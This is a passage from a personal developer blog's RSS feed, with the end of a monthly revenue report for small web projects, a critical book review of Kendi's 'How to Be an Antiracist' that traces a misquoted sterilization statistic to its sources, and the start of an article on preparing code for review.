 &lt;td>&lt;font color="green">+5,462 (+12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>102,143&lt;/td>
 &lt;td>93,242&lt;/td>
 &lt;td>&lt;font color="red">-8,901 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$357.51&lt;/td>
 &lt;td>$334.72&lt;/td>
 &lt;td>&lt;font color="red">-$22.79 (-6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$74.01&lt;/td>
 &lt;td>$149.99&lt;/td>
 &lt;td>&lt;font color="green">+$75.98 (+103%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$431.52&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$484.71&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$53.19 (+12%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I&amp;rsquo;m expecting a significant bump in January, as people often begin looking into healthier eating options at the start of the new year. I spent an hour updating Amazon Affiliate links so that I maximize the value from the upcoming surge months. Otherwise, Is It Keto remains on auto-pilot in the background.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2020&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>484&lt;/td>
 &lt;td>507&lt;/td>
 &lt;td>&lt;font color="green">+23 (+5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,393&lt;/td>
 &lt;td>1,511&lt;/td>
 &lt;td>&lt;font color="green">+118 (+8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$28.37&lt;/td>
 &lt;td>$103.33&lt;/td>
 &lt;td>&lt;font color="green">+$74.96 (+264%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Plan Earnings&lt;/td>
 &lt;td>$872.63&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$872.63 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$901.00&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$103.33&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$797.67 (-89%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful&amp;rsquo;s quiet, too. The enterprise customer finished their one-month plan and didn&amp;rsquo;t need to renew, as expected. There was a jump in RapidAPI earnings, but 95% of that came from a single user who seems to have used Zestful in a one-off bulk parsing.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published the TinyPilot Pro beta&lt;/li>
&lt;li>Completed five sections of Hit the Front Page of Hacker News&lt;/li>
&lt;li>&lt;a href="https://twitter.com/deliberatecoder/status/1342847048811499523">Removed all affiliate links&lt;/a> from this blog&lt;/li>
&lt;li>Two of my blog posts &lt;a href="https://hn.algolia.com/?dateEnd=1609452000&amp;amp;dateRange=custom&amp;amp;dateStart=1606860000&amp;amp;page=0&amp;amp;prefix=true&amp;amp;query=mtlynch.io&amp;amp;sort=byPopularity&amp;amp;type=story">reached the front page of Hacker News&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Commit to fewer deadlines.
&lt;ul>
&lt;li>Definitely don&amp;rsquo;t commit to four aggressive deadlines in a one-month span.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When selling side-projects, waitlist instead of pre-sell.
&lt;ul>
&lt;li>Pre-selling a product has the advantage of letting you know early that customers are willing to buy.&lt;/li>
&lt;li>The downside of pre-selling is that I feel uncomfortable changing the scope or pushing back the release date since I&amp;rsquo;ve already sold under the promise of certain topics by a certain date.&lt;/li>
&lt;li>If I sell an ebook or course in the future, I&amp;rsquo;ll create a waitlist instead of pre-selling.&lt;/li>
&lt;li>Adam Wathan talks more about pre-selling vs. waitlisting in &lt;a href="https://www.youtube.com/watch?v=ajrDxZRpP9M">this helpful Microconf talk&lt;/a>.&lt;/li>
&lt;li>Actually, now that I typed this out, I feel like I&amp;rsquo;m needlessly putting pressure on myself to stick rigidly to the course outline I advertised. I don&amp;rsquo;t think anyone cares &lt;em>that&lt;/em> much about me matching my outline exactly. If they do, I offer painless refunds.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Hire a freelance developer to help with TinyPilot development.&lt;/li>
&lt;li>Receive TinyPilot reviews from two bloggers or YouTubers with a relevant audience.&lt;/li>
&lt;li>Earn $4k in revenue from Hit the Front Page of Hacker News.&lt;/li>
&lt;/ul></content:encoded></item><item><title>How to Be an Antiracist by Ibram X. Kendi</title><link>https://mtlynch.io/book-reports/antiracist/</link><pubDate>Wed, 30 Dec 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/antiracist/</guid><description>&lt;p>I had a mixed reaction to this book. Some of Ibram X. Kendi&amp;rsquo;s ideas felt novel and compelling. It broadened my perspective in thinking about race. And there&amp;rsquo;s a lot of historical discussion of race and slavery that covered details I don&amp;rsquo;t remember from school. At the same time, I felt that many of Kendi&amp;rsquo;s arguments were flimsy and his facts questionable. He cherry-picked statistics and often misrepresented details or got them outright wrong.&lt;/p></description><content:encoded>&lt;p>I had a mixed reaction to this book. Some of Ibram X. Kendi&amp;rsquo;s ideas felt novel and compelling. It broadened my perspective in thinking about race. And there&amp;rsquo;s a lot of historical discussion of race and slavery that covered details I don&amp;rsquo;t remember from school. At the same time, I felt that many of Kendi&amp;rsquo;s arguments were flimsy and his facts questionable. He cherry-picked statistics and often misrepresented details or got them outright wrong.&lt;/p>
&lt;p>One of my biggest disagreements with the book was that Kendi asserts that in the absence of racism, no ethnic group would be measurably different than any other ethnic group in any dimension. I don&amp;rsquo;t think there would be a &amp;ldquo;superior race&amp;rdquo; in the absence of bias, but I think any nonrandom sample of people will be measurably different on some meaningful metrics.&lt;/p>
&lt;p>For example, Jews today are disproportionately represented in occupations like law or medicine. Kendi believes that this is unrelated to Judaism&amp;rsquo;s emphasis on education. Instead, he says it&amp;rsquo;s simply a coincidence. People who value education are more likely to be doctors and lawyers, and some people who value education happen to be Jewish, but he sees no causal relationship.&lt;/p>
&lt;h2 id="results-over-intentions">Results over intentions&lt;/h2>
&lt;p>Throughout the book, Kendi emphasizes the importance of results over intentions. Kendi is frustrated that people with racist motivations can put policies in place that hold down minority groups but still declare themselves &amp;ldquo;not racist.&amp;rdquo; He thinks we should focus on the effects instead.&lt;/p>
&lt;p>Americans typically define racism in terms of private belief. We call someone &amp;ldquo;racist&amp;rdquo; if they do or say things that indicate that they hold racial biases. But when a politician passes a complex law that indirectly increases unemployment for black Americans, it&amp;rsquo;s hard for anyone else to declare conclusively that the politician is racist.&lt;/p>
&lt;p>Kendi&amp;rsquo;s solution is to define racism in terms of objective, measurable results. He proposes that an action or policy is &amp;ldquo;antiracist&amp;rdquo; is if it leads to greater racial equity. Everything else is racist. If your law increased black unemployment, you are racist, regardless of what your intentions were. It&amp;rsquo;s impossible to be &amp;ldquo;race-neutral,&amp;rdquo; as neutral is a tacit endorsement of the status quo, which is racist.&lt;/p>
&lt;p>I found the idea interesting at first blush. It does address the problem Kendi describes. But as I thought about it more, it felt like a poor solution in almost every other scenario.&lt;/p>
&lt;p>If someone earnestly fights for racial equality but fails to achieve it, what&amp;rsquo;s the point of labeling that person a racist?&lt;/p>
&lt;p>And then the opposite scenario — a racist person unintentionally doing something antiracist — leads to absurd conclusions. For example, when &lt;a href="https://en.wikipedia.org/wiki/Killing_of_George_Floyd">Derek Chauvin killed George Floyd&lt;/a> earlier this year, it caused such outrage that racial justice awareness increased dramatically across the globe. Does that make the killing of George Floyd an act of antiracism? Is Derek Chauvin an antiracist? The answer should be &amp;ldquo;no&amp;rdquo; under any sane definition, but under Kendi&amp;rsquo;s definition, the answer would be yes.&lt;/p>
&lt;p>The place where I think a results-focused perspective made sense was in terms of activism. Kendi is critical of activists who take pride in being &amp;ldquo;radical&amp;rdquo; while achieving no real change. Kendi considers policy change to be the primary avenue for reducing racial inequity, so he doesn&amp;rsquo;t consider activists radical or effective unless they achieve policy change.&lt;/p>
&lt;h2 id="did-eugenicists-perform-700000-involuntary-sterilizations-on-black-women-every-year">Did eugenicists perform 700,000 involuntary sterilizations on black women every year?&lt;/h2>
&lt;p>One of the most shocking aspects of &lt;em>How to Be an Antiracist&lt;/em> was Kendi&amp;rsquo;s sloppiness with facts. I appreciated that he included citations for most of his claims, but when I dug into them, I was disappointed that many were secondary or even tertiary sources.&lt;/p>
&lt;p>Often, I&amp;rsquo;d check a source only to find that it was a news article referencing another news article that referenced an academic study. In several instances, the fact became distorted after traveling through so many indirect sources.&lt;/p>
&lt;p>The most egregious error I found in the book was this line on page 189:&lt;/p>
&lt;blockquote>
&lt;p>Gender racism was behind the growing number of involuntary sterilizations of Black women by eugenicist physicians — two hundred thousand cases in 1970, rising to seven hundred thousand in 1980.&lt;/p>&lt;/blockquote>
&lt;p>700,000 involuntary sterilizations per year? That&amp;rsquo;s a shockingly high number. There were &lt;a href="https://www.census.gov/library/publications/1993/dec/we-01.html">26.5 million black Americans in 1980&lt;/a>, so this would mean doctors were nonconsensually sterilizing 6-7% of reproductive age black women every year.&lt;/p>
&lt;p>The source for this statistic is &lt;em>Killing the Black Body&lt;/em> by Dorothy E. Roberts, pages 90-96. That book is &lt;a href="https://openlibrary.org/works/OL2624319W/Killing_the_black_body?edition=killingblackbody00robe">available on OpenLibrary&lt;/a>, so I looked it up and found the line that Kendi seems to be referencing:&lt;/p>
&lt;blockquote>
&lt;p>But most sterilizations of Black women were not performed under the auspices of the eugenic laws. The violence was committed by doctors paid by the government to provide health care for these women. During the 1970s sterilization became the most rapidly growing form of birth control in the United States, rising from 200,000 cases in 1970 to over 700,000 in 1980.&lt;/p>&lt;/blockquote>
&lt;p>This line contains a footnote that points to Thomas M. Shapiro&amp;rsquo;s &lt;em>Population Control Politics: Women, Sterilization, and Reproductive Choice&lt;/em>, also &lt;a href="https://openlibrary.org/works/OL5358681W/Population_control_politics?edition=populationcontro0000shap">available on OpenLibrary&lt;/a>. I found the statistic on page 6:&lt;/p>
&lt;blockquote>
&lt;p>Unlike the preceding cases of abuse and coercion, voluntary sterilization is commonplace. In the 1970s there was a dramatic increase in the use of sterilization as a method of contraception. Female sterilization is the most rapidly growing form of birth control in the United States, rising from 200,000 cases in 1970 to over 700,000 in 1980.&lt;/p>&lt;/blockquote>
&lt;p>Shapiro has an appendix of citations, but they&amp;rsquo;re not tied to specific lines, so it&amp;rsquo;s hard to figure out the real source of these statistics.&lt;/p>
&lt;p>In any case, it&amp;rsquo;s obvious that eugenicist physicians did &lt;strong>not&lt;/strong> perform 700,000 involuntary sterilizations per year on black women. The 700,000 figure is the number of American women &lt;em>across all races&lt;/em> who &lt;em>chose&lt;/em> sterilizations in 1980.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Kendi treats accessibility of terms as a first-class concern.
&lt;ul>
&lt;li>He avoids the terms &amp;ldquo;institutional racism&amp;rdquo; and &amp;ldquo;systemic racism&amp;rdquo; because he believes these terms only make sense to people who study race theory.&lt;/li>
&lt;li>He prefers the term &amp;ldquo;racist policy,&amp;rdquo; which has the same meaning and doesn&amp;rsquo;t require background knowledge.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The stories from Kendi&amp;rsquo;s personal life were interesting and kept the book engaging.&lt;/li>
&lt;li>He presents a unique way of thinking about racism that I hadn&amp;rsquo;t seen elsewhere.
&lt;ul>
&lt;li>Kendi offers a compelling comparison of &lt;a href="#segregationism-vs-assimilationism-vs-separatism">assimilationism, segregationism, and separatism&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It was enlightening to see examples of popular figures saying blatantly racist things, both in the distant and not-so-distant past.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>Kendi often blurs the distinction between what he believes the definition of a word should be and how Americans currently use this word.
&lt;ul>
&lt;li>e.g., he argues that &amp;ldquo;racist&amp;rdquo; is simply a descriptive term to describe behavior and not a moral judgment, though I think that contradicts most Americans&amp;rsquo; use of the word.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The book defines words in terms of themselves.
&lt;ul>
&lt;li>For example, the first line of the book defines &amp;ldquo;racist&amp;rdquo; by repeatedly using the word &amp;ldquo;racist&amp;rdquo;:
&lt;blockquote>
&lt;p>&lt;strong>racist&lt;/strong>: one who is supporting a racist policy through their actions or inaction or expressing a racist idea.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;li>He also uses the present progressive tense to emphasize that &amp;ldquo;being racist&amp;rdquo; is tied to your actions at a given moment, but it makes all the definitions sound awkward and convoluted.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There were many logical leaps that I didn&amp;rsquo;t find convincing.
&lt;ul>
&lt;li>e.g., rejecting racism necessarily means rejecting capitalism and vice-versa.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The book often attempts to disprove stereotypes by using questionable cherry-picked statistics.
&lt;ul>
&lt;li>Kendi argues that contrary to stereotypes about black dependence on welfare, the majority of welfare recipients are non-black.
&lt;ul>
&lt;li>Obviously, the majority are non-black because only 13% of the US population is black. The relevant statistic would be whether there&amp;rsquo;s a &lt;em>disproportionate&lt;/em> dependence on welfare.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Kendi claims that black people are not inherently more violent because black residents in high-income areas commit fewer violent crimes than black residents in low-income neighborhoods.
&lt;ul>
&lt;li>The relevant statistic would be to compare crime rates across races controlling for factors like income and educational levels.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Kendi asserts that it&amp;rsquo;s illogical and racist for white people to avoid high-crime black neighborhoods.
&lt;ul>
&lt;li>His justification is that burglary and robbery account for only $4B in losses per year, whereas white-collar crimes account for $300-600B.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Kendi acknowledges that there are genetic differences between ethnic groups but dismisses as a racist any scientist who explores those differences.&lt;/li>
&lt;li>Kendi fundamentally misunderstands the plot of the 1988 film &lt;a href="https://www.imdb.com/title/tt0094898/">&lt;em>Coming to America&lt;/em>&lt;/a>.
&lt;ul>
&lt;li>The audience is &lt;strong>not&lt;/strong> supposed to empathize with Lisa&amp;rsquo;s obnoxious boyfriend!&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;div class="notice notice-info">
 &lt;p>Usually, the &amp;ldquo;Key Takeaways&amp;rdquo; section summarizes the lessons from the book that I&amp;rsquo;m applying to my life.&lt;/p>
&lt;p>This book is different in that I disagree with many of the author&amp;rsquo;s points, but I find them helpful to keep in mind as another perspective to consider or to understand terms when reading about race theory elsewhere.&lt;/p>

&lt;/div>

&lt;h3 id="racist-vs-antiracist">Racist vs. antiracist&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s impossible to be &amp;ldquo;not racist.&amp;rdquo;
&lt;ul>
&lt;li>In other words, you can&amp;rsquo;t be &amp;ldquo;neutral&amp;rdquo; in the fight for racial equality.&lt;/li>
&lt;li>Doing nothing tacitly endorses the status quo, so to do nothing in the fight for racial justice is to be racist.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Many racists describe themselves as &amp;ldquo;not racist,&amp;rdquo; so we need a word that more clearly identifies racists.
&lt;ul>
&lt;li>Specifically, the word can&amp;rsquo;t depend on private motivations because it&amp;rsquo;s impossible for others to know someone&amp;rsquo;s true intentions.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Antiracists actively fight to achieve racial equity. Everyone else is a racist.
&lt;ul>
&lt;li>Antiracists are judged based on outcomes, not intentions.&lt;/li>
&lt;li>If you do something with antiracist intentions, but it fails to achieve greater racial equity, your action was racist, and you were racist in the moment of committing that action.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Calling a person or action racist is not a moral judgment but a statement of fact.
&lt;ul>
&lt;li>It&amp;rsquo;s similar to calling a law progressive or regressive based on which social classes benefit from the law.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>People are not permanently racist or antiracist.
&lt;ul>
&lt;li>Whether or not a person is racist depends on their behavior in that moment.&lt;/li>
&lt;li>The author admits that he is often racist and tries to reduce instances of such behavior.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="racist-policy">Racist policy&lt;/h3>
&lt;ul>
&lt;li>Any policy that produces or sustains racial inequity between groups is racist.
&lt;ul>
&lt;li>This is true even if the policymakers had antiracist intentions. All that matters is the outcome.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Other race theory writers use terms like &amp;ldquo;institutional racism,&amp;rdquo; &amp;ldquo;systemic racism,&amp;rdquo; or &amp;ldquo;structural racism.&amp;rdquo;
&lt;ul>
&lt;li>Kendi rejects these terms because they are redundant.
&lt;ul>
&lt;li>Racism is systematic, institutional, and structural.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;racist policy&amp;rdquo; has a more obvious meaning to people who haven&amp;rsquo;t studied race theory.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="racial-discrimination">Racial discrimination&lt;/h3>
&lt;ul>
&lt;li>&amp;ldquo;Racial discrimination&amp;rdquo; has a negative connotation, but it&amp;rsquo;s not inherently racist.&lt;/li>
&lt;li>If discrimination promotes racial equity, it is antiracist.
&lt;ul>
&lt;li>It&amp;rsquo;s impossible to rectify racial injustices without taking into account race.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>You do not take a person who, for years, has been hobbled by chains and liberate him, bring him up to the starting line of a race and then say, “you are free to compete with all the others,” and still justly believe that you have been completely fair.&lt;/p>
&lt;p>-Lyndon B. Johnson, &lt;a href="https://www.americanyawp.com/reader/27-the-sixties/lyndon-johnson-howard-university-commencement-address-1965/">Howard University Commencement Address, 1965&lt;/a>&lt;/p>&lt;/blockquote>
&lt;h3 id="racist-ideas">Racist ideas&lt;/h3>
&lt;blockquote>
&lt;p>A racist idea is any idea that suggests one racial group is inferior or superior to another racial group in any way.&lt;/p>
&lt;p>An antiracist idea is any idea that suggests the racial groups are equals in all their apparent differences — that there is nothing right or wrong with any racial group.&lt;/p>&lt;/blockquote>
&lt;h3 id="color-blindness">Color blindness&lt;/h3>
&lt;ul>
&lt;li>Color/race blindness is not a solution to racism.&lt;/li>
&lt;li>Without being able to see race, we wouldn&amp;rsquo;t be able to see racial inequity, so we wouldn&amp;rsquo;t be able to fix racial policies.&lt;/li>
&lt;li>Color blindness is the last phase of eliminating racism, not the first.&lt;/li>
&lt;/ul>
&lt;h3 id="ebonics">Ebonics&lt;/h3>
&lt;ul>
&lt;li>Languages naturally evolve, and people generally accept new dialects as a natural evolution, but white people hold biases against black dialects.&lt;/li>
&lt;li>Many people view dialects like &lt;a href="https://en.wikipedia.org/wiki/African-American_English">Ebonics&lt;/a> as &amp;ldquo;broken&amp;rdquo; English or &lt;a href="https://en.wikipedia.org/wiki/Haitian_Creole">Haitian Creole&lt;/a> as &amp;ldquo;improper&amp;rdquo; French, but they don&amp;rsquo;t dismiss dialects that are popular among white speakers.&lt;/li>
&lt;/ul>
&lt;h3 id="behavioral-racism">Behavioral racism&lt;/h3>
&lt;ul>
&lt;li>Behavioral racism refers to criticizing the behavior of a racial group.
&lt;ul>
&lt;li>e.g., &amp;ldquo;Blacks should stop wearing baggy jeans and listening to violent rap music.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Suggesting that a racial group behaves differently than another is behavioral racism.
&lt;ul>
&lt;li>e.g., the statement &amp;ldquo;blacks are more religious than whites&amp;rdquo; is racist.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>During slavery and the abolitionist movement in the US, there was fierce public debate over whether slavery made blacks seem inferior or whether blacks were inherently inferior and slavery was helping to civilize them.&lt;/li>
&lt;/ul>
&lt;h3 id="standardized-tests">Standardized tests&lt;/h3>
&lt;ul>
&lt;li>There are many similarities between taking standardized tests and weightlifting.
&lt;ul>
&lt;li>The people who can lift the heaviest weights aren&amp;rsquo;t necessarily the strongest, but rather the people who combine strength with proper form.&lt;/li>
&lt;li>Students who score well on standardized tests are not necessarily the smartest, but rather the ones who combine their intelligence with skill at taking standardized tests.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Blacks have unequal access to test prep for standardized tests.
&lt;ul>
&lt;li>This makes standardized tests racist.&lt;/li>
&lt;li>Discussing a black/white achievement gap based on standardized test scores is racist.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="colorism">Colorism&lt;/h3>
&lt;ul>
&lt;li>Within minority ethnic groups in the US, darker-skinned people tend to earn less money and face more severe discrimination than lighter-skinned members of the same racial group.
&lt;ul>
&lt;li>Applies to blacks, Latinos, Philipinos, and others.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Colorism dates back to the age of slavery when slaveowners ascribed higher intelligence to and paid more for lighter-skinned slaves.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>American Negroes recognize no color line in or out of the race, and they will in
the end punish the man who attempts to establish it.&lt;/p>
&lt;p>W.E.B. DuBois, &lt;em>The Crisis&lt;/em> (1920)&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Kendi feels that DuBois was guilty of colorism and focused too much on lifting up light-skinned blacks at the expense of dark-skinned blacks.&lt;/li>
&lt;/ul>
&lt;h3 id="anti-white-racism">Anti-white racism&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s important not to conflate hatred for racist policymakers with hatred toward white people in general.&lt;/li>
&lt;li>Kendi disagrees with the popular notion that black people &amp;ldquo;can&amp;rsquo;t be racist&amp;rdquo; because racism requires power.
&lt;ul>
&lt;li>This idea devalues the achievements of black people in positions of power.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="class">Class&lt;/h3>
&lt;ul>
&lt;li>Inequity from racism is interrelated with inequity from capitalism.
&lt;ul>
&lt;li>We need both antiracism and anti-capitalism to eliminate racial and class inequity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="segregationism-vs-assimilationism-vs-separatism">Segregationism vs. assimilationism vs. separatism&lt;/h3>
&lt;ul>
&lt;li>Assimilationists view disadvantaged racial groups as children who need an education in proper behavior.&lt;/li>
&lt;li>Segregationists view disadvantaged racial groups as animals that can be trained in limited ways but can&amp;rsquo;t function in a civilized society.&lt;/li>
&lt;li>During The Civil War, Garrison Frazier, spokesperson for black leaders, asked that freed blacks live separately from whites due to racism.
&lt;ul>
&lt;li>General Sherman honored the request and issued a special field order granting blacks &lt;a href="https://en.wikipedia.org/w/index.php?title=Forty_acres_and_a_mule&amp;amp;oldid=995738508#Sherman's_Special_Field_Orders,_No._15">&amp;ldquo;40 acres and a mule&amp;rdquo;&lt;/a> from Confederate land.&lt;/li>
&lt;li>Esteemed newspaper editor Horace Greeley opposed black separation because he felt it deprived blacks of positive influence from whites.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Black separatism is different from white segregation.
&lt;ul>
&lt;li>Black separatism is about escaping racism, whereas white segregation is about distancing from races perceived as inferior.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>White integrationists perceive black separatism as movement away from whites as opposed to solidarity among blacks.&lt;/li>
&lt;li>The white integrationist&amp;rsquo;s dream is for every space&amp;rsquo;s demographic makeup to match the US population as a whole. This would unfairly favor whites.
&lt;ul>
&lt;li>At 13% of the population, a black person wouldn&amp;rsquo;t encounter another black person until meeting roughly eight non-black people.&lt;/li>
&lt;li>At 60% of the population, whites would dominate every space whose racial makeup matches the overall racial shares in the US.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="gender-racism">Gender racism&lt;/h3>
&lt;blockquote>
&lt;p>Women are a race gender. Black people are a race. When we identify black women, we are identifying a race-gender. A sexist policy produces inequities between women and men. A racist policy produces inequities between racial groups. When a policy produces inequities between race-genders, it is gendered racism, or gender racism for short.&lt;/p>
&lt;p>To be antiracist is to reject not only the hierarchy of races but of race-genders. To be feminist is to reject not only the hierarchy of genders but of race-genders. To truly be antiracist is to be feminist. To truly be feminist is to be antiracist.&lt;/p>&lt;/blockquote>
&lt;h3 id="ideas-follow-policy">Ideas follow policy&lt;/h3>
&lt;ul>
&lt;li>Antiracist policies must be put in place before they achieve popular support.
&lt;ul>
&lt;li>Before a policy goes into effect, policymakers will stoke racist fears about the policy to discourage voters from supporting it.&lt;/li>
&lt;li>After the policy is in place, people will support it because they see it benefits them and that their racist fears failed to materialize.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="results-based-activism">Results-based activism&lt;/h3>
&lt;blockquote>
&lt;p>What if we measure the radicalism of speech by how radically it transforms open-minded people, by how the speech liberates the antiracist power within? What if we measure the conservatism of speech by how intensely it keeps people the same, keeps people enslaved by their racist ideas and fears, conserving their inequitable society?&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Activists often invest in activities that have no real impact but make participants feel involved.
&lt;ul>
&lt;li>e.g., marches, protests, educational programs&lt;/li>
&lt;li>Real change happens only when policies change.&lt;/li>
&lt;li>Activists should be judged based on how effectively they&amp;rsquo;ve influenced policy.&lt;/li>
&lt;li>It doesn&amp;rsquo;t matter how radical an activist&amp;rsquo;s ideas or how passionate their rhetoric is if they don&amp;rsquo;t influence policy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>How to Make Your Code Reviewer Fall in Love with You</title><link>https://mtlynch.io/code-review-love/</link><pubDate>Wed, 02 Dec 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/code-review-love/</guid><description>&lt;p>When people talk about code reviews, they focus on the reviewer. But the developer who writes the code is just as important to the review as the person who reads it. There&amp;rsquo;s scarcely any guidance on preparing your code for review, so authors often screw up this process out of sheer ignorance.&lt;/p>
&lt;p>This article describes best practices for participating in a code review when you&amp;rsquo;re the author. In fact, by the end of this post, you&amp;rsquo;re going to be so good at sending out your code for review that &lt;strong>your reviewer will literally fall in love with you&lt;/strong>.&lt;/p></description><content:encoded>&lt;p>When people talk about code reviews, they focus on the reviewer. But the developer who writes the code is just as important to the review as the person who reads it. There&amp;rsquo;s scarcely any guidance on preparing your code for review, so authors often screw up this process out of sheer ignorance.&lt;/p>
&lt;p>This article describes best practices for participating in a code review when you&amp;rsquo;re the author. In fact, by the end of this post, you&amp;rsquo;re going to be so good at sending out your code for review that &lt;strong>your reviewer will literally fall in love with you&lt;/strong>.&lt;/p>
&lt;h2 id="but-i-dont-want-my-reviewer-to-fall-in-love-with-me">But I don&amp;rsquo;t want my reviewer to fall in love with me&lt;/h2>
&lt;p>They&amp;rsquo;re going to fall in love with you. Deal with it. Nobody ever complained on their deathbed that too many people fell in love with them.&lt;/p>
&lt;h2 id="why-improve-your-code-reviews">Why improve your code reviews?&lt;/h2>
&lt;p>Improving code review technique helps your reviewer, your team, and, most importantly: you.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Learn faster&lt;/strong>: If you prepare your changelist properly, it directs your reviewer&amp;rsquo;s attention to areas that support your growth rather than boring style violations. When you demonstrate an appreciation for constructive criticism, your reviewer provides better feedback .&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Make others better&lt;/strong>: Your code review techniques set an example for your colleagues. Effective author practices rub off on your teammates, which makes your job easier when they send code to you.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Minimize team conflicts&lt;/strong>: Code reviews are a common source of friction. Approaching them deliberately and conscientiously minimizes arguments.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="the-golden-rule-value-your-reviewers-time">The golden rule: value your reviewer&amp;rsquo;s time&lt;/h2>
&lt;p>This advice sounds obvious, but I often see authors treat their reviewers like personal quality assurance technicians. These authors make zero effort to catch their own errors or to design their changelist for reviewability.&lt;/p>
&lt;p>Your teammate arrives at work each day with a finite supply of focus. If they allocate some of it to you, that&amp;rsquo;s time they can&amp;rsquo;t spend on their own work. It&amp;rsquo;s only fair that you maximize the value of their time.&lt;/p>
